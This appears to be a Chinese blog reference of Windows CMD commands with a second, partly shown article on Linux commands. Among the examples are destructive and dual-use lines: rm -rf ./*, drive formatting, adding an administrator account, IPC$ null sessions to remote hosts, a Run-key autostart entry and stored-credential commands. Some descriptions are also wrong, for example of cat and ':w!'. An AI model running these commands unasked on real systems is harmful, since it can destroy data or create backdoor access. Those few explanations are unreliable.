    例:move test d:\new // 若d盘中存在new文件夹,将当前目录下的test文件夹移动到d盘new文件夹中;若不存在,将当前目录下的test文件夹移动到d盘,并重命名为new

    del 删除文件 注意:目录及子目录都不会删除

    例:del test // 删除当前目录下的test文件夹中的所有非只读文件(子目录下的文件不删除;删除前会进行确认;等价于del test*)

    例:del /f test // 删除当前目录下的test文件夹中的所有文件(含只读文件;子目录下的文件不删除;删除前会进行确认;等价于del /f test*)

    例:del /f /s /q test d:\test2*.doc // 删除当前目录下的test文件夹中所有文件及d:\test2中所有doc文件(含只读文件;递归子目录下的文件;删除前不确认)

    ++++++++++++++++++++++

    /ar、/ah、/as、/aa 分别表示删除只读、隐藏、系统、存档文件
    /a-r、/a-h、/a-s、/a-a 分别表示删除除只读、隐藏、系统、存档以外的文件

    ++++++++++++++++++++++

    例:del /ar . // 删除当前目录下所有只读文件

    例:del /a-s . // 删除当前目录下除系统文件以外的所有文件

    replace 替换文件【即使这个文件在使用,仍然可以替换成功】

    例:replace d:\love.mp3 d:\mp3 // 使用d盘下的love.mp3强制替换d盘mp3目录中的love.mp3文件

    mklink 创建符号链接(win7引入);创建的符号链接文件上会有一个类似快捷方式的箭头

    win7下的mklink命令通过指定参数可以建立出不同形式的文件或目录链接,分为硬链接(hard link)、符号链接(symbolic link)和目录联接(junction)三种。

    (1) 符号链接(symbolic link)

    建立一个软链接相当于建立一个文件(或目录),这个文件(或目录)用于指向别的文件(或目录),和win的快捷方式有些类似。

    删除这个链接,对原来的文件(或目录)没有影像没有任何影响;而当你删除原文件(或目录)时,再打开链接则会提示“位置不可用”。

    (2) 目录联接(junction)

    作用基本和符号链接类似。区别在于,目录联接在建立时会自动引用原目录的绝对路径,而符号链接允许相对路径的引用。

    (3) 硬链接(hard link)

    建立一个硬链接相当于给文件建立了一个别名,例如对1.txt创建了名字为2.txt的硬链接;

    若使用记事本对1.txt进行修改,则2.txt也同时被修改,若删除1.txt,则2.txt依然存在,且内容与1.txt一样。

    建立链接请注意:
    a、建立文件或目录链接限于 NTFS 文件系统;符号链接(目录联接)的建立可以跨分区(如:在d盘可以建立c盘文件或目录的链接),硬链接只能建立同一分区内的文件指向
    b、硬链接只能用于文件,不能用于目录;目录联接只能用于目录;符号链接则均可以;
    c、硬链接不允许对空文件建立链接,符号(软)链接可以。

    +++++++++++++++++++++++++++++++++

    mklink [[/d] | [/h] | [/j]] Link Target

    /d   创建目录符号链接。黙认为文件符号链接。
    /h   创建硬链接,而不是符号链接。
    /j   创建目录联接。
    Link  指定新的符号链接名称。
    Target 指定新链接引用的路径(相对或绝对)。

    +++++++++++++++++++++++++++++++++

    例:mklink /j “C:\Users” “D:\Users” // 创建D盘Users目录联接到C盘,并命名为Users

    attrib 查看或修改文件或目录的属性 【A:存档 R:只读 S:系统 H:隐藏】

    例:attrib 1.txt // 查看当前目录下1.txt的属性

    例:attrib -R 1.txt // 去掉1.txt的只读属性

    例:attrib +H movie // 隐藏movie文件夹

    assoc 设置’文件扩展名’关联到的’文件类型’

    例:assoc // 显示所有’文件扩展名’关联

    例:assoc .txt // 显示.txt代表的’文件类型’,结果显示.txt=txtfile

    例:assoc .doc // 显示.doc代表的’文件类型’,结果显示.doc=Word.Document.8

    例:assoc .exe // 显示.exe代表的’文件类型’,结果显示.exe=exefile

    例:assoc .txt=txtfile // 恢复.txt的正确关联

    ftype 设置’文件类型’关联到的’执行程序和参数’

    例:ftype // 显示所有’文件类型’关联

    例:ftype exefile // 显示exefile类型关联的命令行,结果显示 exefile="%1" %*

    例:ftype txtfile=C:\Windows\notepad.exe %1 // 设置txtfile类型关联的命令行为:C:\Windows\notepad.exe %1

    当双击一个.txt文件时,windows并不是根据.txt直接判断用notepad.exe打开
    而是先判断.txt属于txtfile’文件类型’;再调用txtfile关联的命令行:txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1

    1. 文件查看

    type 显示文本文件内容

    例:type c:\11.txt // 显示c盘中11.txt的文本内容

    例:type conf.ini // 显示当前目录下conf.ini的文本内容

    例:type c:\11.txt | more // 分页显示c盘中11.txt的文本内容

    more 逐屏的显示文本文件内容

    例:more conf.ini // 逐屏的显示当前目录下conf.ini的文本内容 【空格:下一屏 q:退出 】

    1. 注册表命令

    reg 注册表相关操作

    参数说明:

    KeyName [\Machine]FullKey
    Machine为远程机器的机器名 - 忽略默认到当前机器。
    远程机器上只有 HKLM 和 HKU。
    FullKey ROOTKEY+SubKey
    ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
    SubKey 所选ROOTKEY下注册表项的完整名
    /v 所选项之下要添加的值名
    /ve 为注册表项添加空白值名<无名称>
    /t RegKey 数据类型
    [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
    REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
    REG_NONE | REG_EXPAND_SZ ]
    如果忽略,则采用 REG_SZ
    /s 指定一个在 REG_MULTI_SZ 数据字符串中
    用作分隔符的字符;如果忽略,则将""用作分隔符
    /d 要分配给添加的注册表ValueName的数据
    /f 不提示,强行改写现有注册表项

    例:reg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v MyApp /t REG_SZ /d “c:\tools\myapp.exe” /f // 强制添加一条开机启动c:\tools\myapp.exe程序的注册表项

    例:reg add “HKLM\SOFTWARE\ScmClient” /v AgreementConfirmed /t REG_SZ /d 1 /f // 解决32位xp打开ioa后,弹出的框关不掉问题

    例:reg add “HKCU\ControlPanel\Desktop” /v WaitToKIllAppTimeOut /t REG_SZ /d 10000 /f // 强制添加一条加速关闭应用程序的注册表项

    例:reg add “HKCR*\shell\WinDbg\command” /t REG_SZ /d "“D:\Program Files (x86)\windbg\windbg.exe” -z “%1” " /f // 强制添加windbg打开dump文件到右键菜单的注册表项(不指明/v,键值将写入默认值名中)

    例:reg add “HKCR*\shell\WinHex\command” /t REG_SZ /d "“D:\software-setup\system\winhex\winhex.exe” “%1” " /f // 强制添加winhex到右键菜单的注册表项(不指明/v,键值将写入默认值名中)

    注册表中%1 %2 %3 %4的含义:
    – %1表示文件列表,%2表示默认打印机,%3表示驱动器,%4表示端口

    例:reg add “hkcu\software\microsoft\windows\currentversion\internet settings” /v AutoConfigURL /t REG_SZ /d “http://txp-01.tencent.com/proxy.pac” /f // 为IE设置代理:http://txp-01.tencent.com/proxy.pac

    例:reg add “hkcu\software\Sysinternals\Process Monitor” /v EulaAccepted /t REG_DWORD /d 1 /f // 为Procmon.exe工具(Process Monitor为其属性面板上的描述名)添加License同意

    例:reg delete “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v MyApp /f // 强制删除值名的MyApp的注册表项

    例:reg delete “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe” /f // 强制删除让任务栏里的任务管理器为灰色的注册表项

    例:reg copy “hkcu\software\microsoft\winmine” “hkcu\software\microsoft\winminebk” /s /f // 强制复制winmine下所有的子项与值到winminebk中

    例:reg export “hkcu\software\microsoft\winmine” c:\regbak\winmine.reg // 导出winmine下所有的子项与值到c:\regbak\winmine.reg文件中

    例:reg import c:\regbak\winmine.reg // 导入c:\regbak\winmine.reg文件到注册表中

    例:reg query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE” /s // 查询ie的安装路径

    例:reg query HKCR.dsw /ve // 查询.dsw默认值

    例:reg query HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS /v GameDirectory // 查询QQGame安装路径

    1. @#@

    & 顺序执行多条命令,而不管命令是否执行成功

    例:cd /d d:\src&work.exe /o c:\result.txt // 先将当前工作目录切换到d:\src下,然后执行work.exe /o c:\result.txt命令

    && 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令

    例:find “ok” c:\test.txt && echo 成功 // 如果找到了"ok"字样,就显示"成功",找不到就不显示

    || 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

    例:find “ok” c:\test.txt || echo 不成功 // 如果找不到"ok"字样,就显示"不成功",找到了就不显示

    | 管道命令

    例:dir . /s/a | find /c “.exe” // 先执行dir命令,然后对输出结果(stdout)执行find命令(输出当前文件夹及所有子文件夹里的.exe文件的个数)

    例:dir . /s/a 2>&1 | find /c “.exe” // 先执行dir命令,然后对输出结果(stdout)和错误信息(stderr)执行find命令(输出当前文件夹及所有子文件夹里的.exe文件的个数)

    将当前命令输出以覆盖的方式重定向

    例:tasklist > p1.txt // 将tasklist的输出结果(stdout)以覆盖的方式重定向到p1.txt文件中(注:tasklist的输出结果就不会打印到屏幕上了)

    例:tasklist 1> p1.txt // 等同于:tasklist > p1.txt

    例:dir bin 2> p1.txt // 输出结果(stdout)打印在屏幕上,错误信息(stderr)以覆盖的方式重定向到p1.txt中(注:bin目录不存在时,会输出错误信息)

    例:dir bin > p1.txt 2>&1 // 将错误信息(stderr)重定向到输出结果(stdout),然后将输出结果(stdout)以覆盖的方式重定向到p1.txt中(注:bin目录不存在时,会输出错误信息)

    例:dir bin 2> p1.txt 1>&2 // 将输出结果(stdout)重定向到错误信息(stderr),然后将错误信息(stderr)以覆盖的方式重定向到p1.txt中(注:bin目录不存在时,会输出错误信息) 注:与上条命令结果一致

    例:tasklist >nul // 屏幕上不打印tasklist的输出结果(stdout),错误信息(stderr)仍会打印

    例:dir bin 2>nul // 屏幕上不打印命令的错误信息(stderr),输出结果(stdout)仍会打印(注:bin目录不存在时,会输出错误信息)

    例:dir bin >nul 2>&1 // 将命令的错误信息(stderr)重定向到输出结果(stdout),然后不打印输出结果(stdout)【屏幕上错误信息(stderr)和输出结果(stdout)都不打印】(注:bin目录不存在时,会输出错误信息)

    例:dir bin 2>nul 1>&2 // 将命令的输出结果(stdout)重定向到错误信息(stderr),然后不打印错误信息(stderr)【屏幕上错误信息(stderr)和输出结果(stdout)都不打印】(注:bin目录不存在时,会输出错误信息)

    将当前命令输出以追加的方式重定向

    例:tasklist >> p2.txt // 将tasklist的输出结果(stdout)以追加的方式重定向到p2.txt文件中(注:tasklist的输出结果就不会打印到屏幕上了)

    例:tasklist 1>> p2.txt // 等同于:tasklist >> p2.txt

    例:dir bin 2>> p2.txt // 输出结果(stdout)打印在屏幕上,错误信息(stderr)以追加的方式重定向到p2.txt中(注:bin目录不存在时,会输出错误信息)

    例:dir bin >> p2.txt 2>&1 // 将错误信息(stderr)重定向到输出结果(stdout),然后将输出结果(stdout)以追加的方式重定向到p2.txt中(注:bin目录不存在时,会输出错误信息)

    例:dir bin 2>> p2.txt 1>&2 // 将输出结果(stdout)重定向到错误信息(stderr),然后将错误信息(stderr)以追加的方式重定向到p2.txt中(注:bin目录不存在时,会输出错误信息) 注:与上条命令结果一致

    < 从文件中获得输入信息,而不是从屏幕上,一般用于date time label等需要等待输入的命令

    例:date <temp.txt // temp.txt中的内容为2005-05-01
    在这里插入图片描述

    @ 命令修饰符 在执行命令前,不打印出该命令的内容

    例:@cd /d d:\me // 执行该命令时,不打印出命令的内容:cd /d d:/me

    , 在某些特殊的情况下可以用来代替空格使用

    例:dir,c:\ // 相当于:dir c:\

    ; 当命令相同的时候,可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行

    例:dir c:;d:;e:\ // 相当于顺序执行:dir c:\ dir d:\ dir e:\

    echo. // 输出一个"回车换行",空白行

    echo off // 后续所有命令在执行前,不打印出命令的内容

    echo on // 后续所有命令在执行前,打印出命令的内容

    echo 123 // 输出123到终端屏幕

    echo “Hello World!!!” // 输出Hello World!!!到终端屏幕

    echo %errorlevel% // 每个命令运行结束,可以用这个命令行格式查看返回码;默认值为0,一般命令执行出错会设errorlevel为1

    echo test > p1.txt // 输出test的字符串到当前目录中的p1.txt文件中(以覆盖的方式)

    set // 显示当前用户所有的环境变量

    set path // 查看path的环境变量值(准确的说是查看以path开头的环境变量)

    set path= // 清空path变量

    set path=d:\execute // 将path变量设置为d:\execute(注:修改的path只会影响当前回话,也不会存储到系统配置中去;当前cmd窗口关闭,新设置的path也就不存在了)

    set path=%path%;d:\execute // 在path变量中添加d:\execute(注:修改的path只会影响当前回话,也不会存储到系统配置中去;当前cmd窗口关闭,新设置的path也就不存在了)

    path // 显示当前path变量的值

    path ; // 清除所有搜索路径设置并指示cmd.exe只在当前目录中搜索

    path d:\xxx;%PATH% // 将d:\xxx路径添加到path中


    set p=aa1bb1aa2bb2 // 设置变量p,并赋值为aa1bb1aa2bb2

    echo %p% // 显示变量p代表的字符串,即aa1bb1aa2bb2

    echo %p:~6% // 显示变量p中第6个字符以后的所有字符,即aa2bb2

    echo %p:~6,3% // 显示第6个字符以后的3个字符,即aa2

    echo %p:~0,3% // 显示前3个字符,即aa1

    echo %p:~-2% // 显示最后面的2个字符,即b2

    echo %p:~0,-2% // 显示除了最后2个字符以外的其它字符,即aa1bb1aa2b

    echo %p:aa=c% // 用c替换变量p中所有的aa,即显示c1bb1c2bb2

    echo %p:aa=% // 将变量p中的所有aa字符串置换为空,即显示1bb12bb2

    echo %p:*bb=c% // 第一个bb及其之前的所有字符被替换为c,即显示c1aa2bb2

    set p=%p:*bb=c% // 设置变量p,赋值为 %p:*bb=c% ,即c1aa2bb2

    set /a p=39 // 设置p为数值型变量,值为39

    set /a p=39/10 // 支持运算符,有小数时用去尾法,39/10=3.9,去尾得3,p=3

    set /a p=p/10 // 用 /a 参数时,在 = 后面的变量可以不加%直接引用

    set /a p=“1&0” // &运算要加引号。其它支持的运算符参见set/?


    cls 清除屏幕

    ver 显示当前windows系统的版本号

    winver 弹框显示当前windows系统信息

    vol 显示当前分区的卷标

    label 显示当前分区的卷标,同时提示输入新卷标

    label c:system 设置c盘的卷标为system

    time 显示或设置当前时间

    例:time /t // 显示当前时间

    例:time // 设置新的当前时间(格式:hh:mm:ss),直接回车则表示放弃设置

    date 显示或设置当前日期

    例:date /t // 显示当前日期

    例:date // 设置新的当前日期(格式:YYYY/MM/DD),直接回车则表示放弃设置

    title 正在做命令行测试 // 修改当前cmd窗口的标题栏文字为正在做命令行测试

    prompt orz: // 将命令提示符修改为orz:

    print 1.txt // 使用设置好的打印机来打印1.txt文本文件

    call ff.bat // 调用执行ff.bat脚本(ff.bat脚本执行完原脚本才会往下执行)

    start 运行某程序或命令

    例:start /max notepad.exe // 最大化的方式启动记事本

    例:start /min calc.exe // 最小化的方式启动计算器

    例:start tasklist // 启动一个cmd实例窗口,并运行tasklist

    例:start explorer f:\ // 调用资源管理器打开f盘

    例:strat iexplore “www.qq.com” // 启动ie并打开www.qq.com网址

    例:start ff.bat // 启动开始执行ff.bat(启动ff.bat脚本后,原脚本继续执行,不会等ff.bat脚本执行完)

    exit 退出当前cmd窗口实例

    例:exit 0 // 退出当前cmd窗口实例,并将过程退出代码设置为0(0表示成功,非0表示失败)

    例:exit /B 1 // 退出当前bat脚本,并将ERRORLEVEL系统变量设置为1

    pause 暂停批处理程序,并显示出:请按任意键继续…

    color 设置当前cmd窗口背景色和前景色(前景色即为字体的颜色)

    例:color // 恢复到缺省设置

    例:color 02 // 将背景色设为黑色,将字体设为绿色


    0 = 黑色 8 = 灰色
    1 = 蓝色 9 = 淡蓝色
    2 = 绿色 A = 淡绿色
    3 = 浅绿色 B = 淡浅绿色
    4 = 红色 C = 淡红色
    5 = 紫色 D = 淡紫色
    6 = 黄色 E = 淡黄色
    7 = 白色 F = 亮白色

    mode con cols=200 lines=60 & color 9f 设置DOS窗口颜色为9f,大小:200行 60列(若屏幕缓冲区大小的宽度w<200或高度h<60,最终DOS的窗口就会为w行,h列)

    在这里插入图片描述

    systeminfo 查看当前计算机的综合信息

    systeminfo | findstr /i “初始安装日期 系统启动时间” 只查看当前计算机的初始安装日期和系统启动时间

    wmic 查看硬件的信息 – C:\Windows\System32\wbem\WMIC.exe

    例:wmic logicaldisk // 查看计算机上各个盘的相关信息

    例:wmic LogicalDisk where “Caption=‘C:’” get FreeSpace,Size /value // 获取C盘的剩余空间大小与总大小(单位:Byte)

    例:wmic os get Caption,InstallDate,OSArchitecture /value // 获取当前os的Caption、安装日期以及系统架构信息

    wmic 查看进程信息

    例:wmic process where Caption=“buyticket.exe” get commandline,ExecutablePath,ProcessId,ThreadCount /value // 查看名为"buyticket.exe"所有进程命令行,exe全路径,PID及线程数

    例:wmic process where Caption=“buyticket.exe” get ExecutablePath,HandleCount /value // 查看名为"buyticket.exe"所有进程的exe全路径及当前打开的句柄数

    例:wmic process where Caption=“buyticket.exe” get ExecutablePath,VirtualSize,WorkingSetSize /value // 查看名为"buyticket.exe"所有进程的exe全路径、当前虚拟地址空间占用及物理内存工作集

    logoff 注销当前用户

    shutdown 关闭、重启、注销、休眠计算机

    例:shutdown /s // 关闭计算机

    例:shutdown /s /t 3600 // 一小时后,关闭本地计算机

    例:shutdown /a // 终止系统关闭

    例:shutdown /r // 关闭并重启本地计算机

    例:shutdown /m 192.168.1.166 /r // 关闭并重启ip为192.168.1.166的计算机

    +++++++++++++++++++++

    远程关机权限的获取:
    1)修改远程pc的“本地安全策略”,为指定的用户开放权限
    在WindowsXP默认的安全策略中,只有Administrators组的用户才有权从远端关闭计算机,如果要给xxxx用户远程关机的权限。
    可利用WindowsXP的“组策略”或“管理工具”中的“本地安全策略”来实现。
    1.命令行运行gpedit.msc打开“组策略编辑器“;
    2.导航到“计算机配置/Windows设置/安全设置/本地策略/用户权利指派”;
    3.修改“从远端系统强制关机”,添加xxxx用户即可。

    2)获得远程IPC管理权限
    如果配置第一步后还出现“拒绝访问。”,则需要在运行shutdown命令前先运行如下命令
    net use \[ip地址或计算机名]\ipc$ password /user:xxxx
    其中password为帐号xxxx的登录密码。

    +++++++++++++++++++++

    例:shutdown /g // 关闭并重启计算机,重启后重新启动所有注册的应用程序

    例:shutdown /l // 注销本地计算机

    例:shutdown /h /f // 休眠本地计算机(强制正在运行的应用程序关闭,不前台警告用户)

    例:shutdown /s // 关闭计算机

    regsvr32 注册或反注册com组件

    例:regsvr32 /s clock.ocx // 以无声的方式注册clock.ocx组件

    例:regsvr32 /u myCommon.dll // 卸载myCommon.dll组件

    format 格式化磁盘

    例:format J: /FS:ntfs // 以ntfs类型格式化J盘 【类型有:FAT、FAT32、exFAT、NTFS或UDF】

    例:format J: /FS:fat32 /Q // 以fat32类型快速格式化J盘

    chkdsk /f D: // 检查磁盘D并显示状态报告;加参数/f表示同时会修复磁盘上的错误

    subst 磁盘映射 – 磁盘映射信息都保存在注册表以下键值中:HKEY_CURRENT_USER\Network

    例:subst // 显示目前所有的映射

    例:subst z: \com\software // 将\com\software共享映射为本地z盘

    例:subst y: e:\src // 将e:\src映射为本地y盘

    例:subst z: /d // 删除z盘映射

    cmdkey 凭据(保存的用户名和密码)

    例:cmdkey /list // 列出可用的凭据

    例:cmdkey /list:10.12.190.82 // 列出指定目标的凭据

    例:cmdkey /list:Domain:target=10.12.190.82 // 列出指定目标的凭据

    例:cmdkey /add:Domain:target=10.12.190.82 /user:LiLei /pass:123456 // 添加凭据

    例:cmdkey /delete:Domain:target=10.12.190.82 // 删除指定目标的凭据

    cscript 执行vbs脚本

    例:cscript /Nologo mac.vbs // 执行mac.vbs脚本,显示本机mac地址

    -------mac.vbs----------

    Dim mc,mo
    Set mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc
    If mo.IPEnabled=True Then
    MsgBox "本机网卡MAC地址是: " & mo.MacAddress
    Exit For
    End If
    Next


    1. net命令

    net start // 查看已经启动的服务

    net start “Task Scheduler” // 开启任务计划服务

    net stop “Task Scheduler” // 关闭任务计划服务

    net start dnscache // 开启dns缓存服务

    net stop dnscache // 关闭dns缓存服务

    net share // 查看当前用户下的共享目录

    net share workFile /delete // 取消名为workFile的共享状态

    net share xxx=c:\360Downloads // 将c:\360Downloads设为共享,并取名为xxx

    net share ipc$ // 开启ipc$共享

    net share ipc$ /del // 删除ipc$共享

    net share c$ /del // 删除c盘共享

    net use \192.168.1.166\ipc$ " " /user:" " // 建立192.168.1.166的ipc空链接

    net use \192.168.1.166\ipc$ “123456” /user:“administrator” // 直接登陆后建立192.168.1.166的ipc非空链接(用户名为administrator 密码为123456)

    net use h: \192.168.1.166\c$ “123456” /user:“administrator” // 直接登陆后映射192.168.1.166的c盘到本地为h盘(用户名为administrator 密码为123456)

    net use h: \192.168.1.166\c$ // 登陆后映射192.168.1.166的c盘到本地为h盘

    net use \192.168.1.166\ipc$ /del // 删除ipc链接

    net use h: /del // 删除本地的h盘的映射

    net view // 查看本地局域网内开启了哪些共享

    net view \192.168.1.166 // 查看192.168.1.166的机器上在局域网内开启了哪些共享

    net time \127.0.0.1 // 查看本地机器的日期及时间

    net time \localhost // 查看本地机器的日期及时间

    net time \192.168.1.166 // 查看192.168.1.166机器的日期及时间

    net time \192.168.1.166 /set // 设置本地计算机时间与192.168.1.166主机的时间同步,加上参数/yes可取消确认信息

    net user // 查看当前机器上的用户

    net user Administrator // 查看当前机器上的Administrator用户的信息

    net user Guest /active:yes // 启用Guest用户

    net user dev 123456 /add // 新建一个名为dev,密码为123456的用户

    net localgroup administrators dev /add // 把名为dev的用户添加到管理员用户组中,使其具有管理员权限

    net user dev /del // 删除名为dev的用户

    1. 进程操作

    tasklist // 显示当前运行的进程信息(可查看PID)

    taskkill 结束指定的进程

    例:taskkill /im notepad.exe // 结束名为notepad.exe的进程

    例:taskkill /pid 1230 /pid 1241 /pid 1253 /t // 结束pid为1230、1241和1253的进程以及由它们启动起来的子进程

    例:taskkill /f /im cmd.exe /t // 强制结束有名为cmd.exe的进程以及由它启动起来的子进程

    1. 网络操作

    ping // 用于检测网络是否通畅,以及网络时延情况(工作在ICMP协议上)

    例:ping baidu.com // 测试与baidu服务器的连接情况

    例:ping chen-pc0 // 测试机器名为chen-pc0的连接情况

    例:ping 220.181.111.86 // 测试与ip为220.181.111.86的连接情况

    例:ping -l 65500 -n 10 qq.com // 向qq.com发送10次65500字节的ping

    例:ping -n 6 127.0.0.1 // 对当前主机执行6次ping操作(花费时间为5s)

    例:ping -t baidu.com // 不断地测试baidu服务器的连接情况 【Ctrl+Pause Break:查看ping的统计信息;Ctrl+C:终止当前任务】

    a. 首先查本地arp cache信息,看是否有对方的mac地址和IP地址映射条目记录
    b. 如果没有,则发起一个arp请求广播包,等待对方告知具体的mac地址
    c. 收到arp响应包之后,获得某个IP对应的具体mac地址,有了物理地址之后才可以开始通信了,同时对ip-mac地址做一个本地cache
    d. 发出icmp echo request包,收到icmp echo reply包

    ipconfig /all // 查看本地ip地址等详细信息

    ipconfig /displaydns // 显示本地dns缓存的内容

    ipconfig /flushdns // 清除本地dns缓存的内容

    nslookup www.cnblogs.com // 获取www.cnblogs.com的域名解析

    服务器: gm-captiva.tencent.com//DNS服务器的主机名
    Address: 10.6.18.41//DNS服务器IP

    非权威应答:
    名称: www.cnblogs.com//解析的域名URL
    Address: 42.121.252.58//解析回的IP

    nslookup -d www.cnblogs.com // 打印出www.cnblogs.com的域名解析所有记录

    netstat -a // 查看开启了哪些端口

    netstat -n // 查看端口的网络连接情况

    netstat -v // 查看正在进行的工作

    netstat -p tcp // 查看tcp协议的使用情况

    tracert 182.140.167.44 // 查看本机到达182.140.167.44的路由路径

    route print // 显示出IP路由

    telnet 182.140.167.44 8000 // 探测182.140.167.44是否使用TCP协议监听8000端口(注意:telnet命令不支持UDP端口检测)

    说明:如果端口关闭或者无法连接,则显示不能打开到主机的链接,链接失败;端口打开的情况下,链接成功,则进入telnet页面(全黑的),证明端口可用。

    用于探测指定IP的端口号,只是telnet的一个基本功能;

    远程登录到网络中的计算机,并以命令行的方式远程管理计算机才是telnet命令的强大之处。

    windows telnet服务器(默认端口:23)环境配置过程如下: 参考1

    a. 安装telnet服务器

    在这里插入图片描述

    b. 启动Telnet服务
    在这里插入图片描述

    c. 关闭windows防火墙 注:若不想关闭防火墙,则需要在Windows防火墙 – 高级设置里面对Telnet服务器的访问规则进行配置

    在这里插入图片描述

    ftp 46.19.34.198 21 // 连接46.19.34.198 ftp服务器(21为端口号),然后会要求输入用户名与密码;连接成功后,具体如何使用可以键入?来查看帮助说明

    arp 显示和修改地址解析协议(ARP)使用的“IP到mac”的地址转换表

    例:arp -a // 显示arp缓存表

    at 计划任务(必须保证“Task Scheduler”服务启动 net start “task scheduler”)

    例:at // 查看所有的计划任务

    例:at /delete /yes // 停止所有任务计划(不需要确认)

    例:at 1 // 开启id为1的计划任务

    例:at 1 /delete /yes // 停止id为1的计划任务(不需要确认)

    例:at 12:42 shutdown –s –t30 // 到12:42 ,电脑会出现“ 系统关机 ”对话框,并默认 30 秒延时自动关机

    例:at cmd /c dir > c:\test.out // 如果命令不是exe文件,必须在命令前加上cmd /c

    例:at 6:00AM /every:Saturday task.bat // 在每周六早上6点,电脑定时启动task.bat批处理文件

    例:at \chen 12:00 shutdown /r // 到12:00时,关闭名为chen的计算机

    例:at \192.168.1.166 12:00 shutdown /r // 到12:00时,关闭ip为192.168.1.166的计算机

    1. 文本处理

    edit config.ini // 编辑config.ini文件(会进入edit字符编辑器;按alt,可以选择对应的菜单) win7 x64下没有该命令

    find 文件中搜索字符串

    例:find /N /I “pid” 1.txt // 在1.txt文件中忽略大小写查找pid字符串,并带行号显示查找后的结果

    例:find /C “exe” 1.txt // 只显示在1.txt文件中查找到exe字符串的次数

    例:find /V “exe” 1.txt // 显示未包含1.txt文件中未包含exe字符串的行

    findstr 文件中搜索字符串

    例:findstr “hello world” 1.txt // 在1.txt文件中搜索hello或world

    例:findstr /c:“hello world” 1.txt // 在1.txt文件中搜索hello world

    例:findstr /c:“hello world” 1.txt nul // 在1.txt文件中搜索hello world,并在每行结果前打印出1.txt: 注:findstr只有在2个及以上文件中搜索字符串时才会打印出每个文件的文件名,nul表示一个空文件

    例:findstr /s /i “Hello” . // 不区分大小写,在当前目录和所有子目录中的所有文件中的hello

    例:findstr “1[a-z]” 1.txt // 在1.txt中搜索以1个数字+1个小写字母开头子串的行


    1. 0-9 ↩︎

    展开全文
  • Linux必学的60个命令

    千次下载 热门讨论 2020-07-30 23:30:36
    Linux必学的60个命令,请大家参考。学无止境,贵在坚持。
  • 10分钟让你掌握Linux常用命令

    千次阅读 多人点赞 2020-09-30 18:13:43
    1、目录操作。2、文件操作。3、文件内容操作。4、压缩和解压缩。5、日志查看。6、Linux下文件的详细信息。7、常用的docker容器的命令。8、其他命令

    1、常用Linux命令
    2、windows下CMD常用命令



    一、目录操作

    pwd				查看当前工作目录
    clear 			清除屏幕
    cd ~			当前用户目录
    cd /			根目录
    cd -			上一次访问的目录
    cd ..			上一级目录
    

    查看目录内信息

    ll				查看当前目录下内容(LL的小写)
    

    创建目录

    mkdir aaa		在当前目录下创建aaa目录,相对路径;
    mkdir ./bbb		在当前目录下创建bbb目录,相对路径;
    mkdir /ccc		在根目录下创建ccc目录,绝对路径;
    

    递归创建目录(会创建里面没有的目录文件夹)

    mkdir -p temp/nginx 
    

    搜索命令

    find / -name 'b'		查询根目录下(包括子目录),名以b的目录和文件;
    find / -name 'b*'		查询根目录下(包括子目录),名以b开头的目录和文件; 
    

    重命名

    mv 原先目录 文件的名称   mv tomcat001 tomcat 
    

    剪切命令(有目录剪切到制定目录下,没有的话剪切为指定目录)

    mv	/aaa /bbb			将根目录下的aaa目录,移动到bbb目录下,在bbb,麚也叫aaa目录;
    mv	bbb usr/bbb			将当前目录下的bbbb目录,移动到usr目录下,并且修改名称为bbb;
    

    复制目录

    cp -r /aaa /bbb			将/目录下的aaa目录复制到/bbb目录下,在/bbb目录下的名称为aaa
    cp -r /aaa /bbb/aaa		将/目录下的aa目录复制到/bbb目录下,且修改名为aaa;
    

    强制式删除指定目录

    rm -rf /bbb			强制删除/目录下的bbb目录。如果bbb目录中还有子目录,也会被强制删除,不会提示;
    

    删除目录

    rm -r /bbb			普通删除。会询问你是否删除每一个文件
    

    二、文件操作

    删除

    rm -r a.java		删除当前目录下的a.java文件(每次回询问是否删除y:同意)
    

    强制删除

    rm -rf a.java		强制删除当前目录下的a.java文件
    rm -rf ./a*			强制删除当前目录下以a开头的所有文件;
    rm -rf ./*			强制删除当前目录下所有文件(慎用);
    

    创建文件

    touch testFile
    

    递归删除.pyc格式的文件

    find . -name '*.pyc' -exec rm -rf {} \;
    

    打印当前文件夹下指定大小的文件

    find . -name "*" -size 145800c -print
    

    递归删除指定大小的文件(145800)

    find . -name "*" -size 145800c -exec rm -rf {} \;
    

    递归删除指定大小的文件,并打印出来

    find . -name "*" -size 145800c -print -exec rm -rf {} \;
    
    • "." 表示从当前目录开始递归查找
    • “ -name '*.exe' "根据名称来查找,要查找所有以.exe结尾的文件夹或者文件
    • " -type f "查找的类型为文件
    • "-print" 输出查找的文件目录名
    • -size 145800c 指定文件的大小
    • -exec rm -rf {} \; 递归删除(前面查询出来的结果)

    三、文件内容操作(查看项目日志,更改配置文件)

    修改文件内容

    vim a.java   	进入一般模式
    i(按键)   		进入插入模式(编辑模式)
    ESC(按键)  		退出
    :wq 			保存退出(shift+:调起输入框)
    :w!			不保存退出(shift+:调起输入框)
    

    文件内容的查看

    cat a.java		查看a.java文件的最后一页内容;
    more a.java		从第一页开始查看a.java文件内容,按回车键一行一行进行查看,
                        按空格键一页一页进行查看,q退出;
    less a.java		从第一页开始查看a.java文件内容,按回车键一行一行的看,
                        按空格键一页一页的看,支持使用PageDown和PageUp翻页,q退出;
    

    总结下more 和 less的区别:

    1. less可以按键盘上下方向键显示上下内容,more不能通过上下方向键控制显示
    2. less不必读整个文件,加载速度会比more更快
    3. less退出后shell不会留下刚显示的内容,而more退出后会在shell上留下刚显示的内容.
    4. 由于more不能后退.

    实时查看文件后几行(实时查看日志)

    tail -f a.java			查看a.java文件的后10行内容;
    

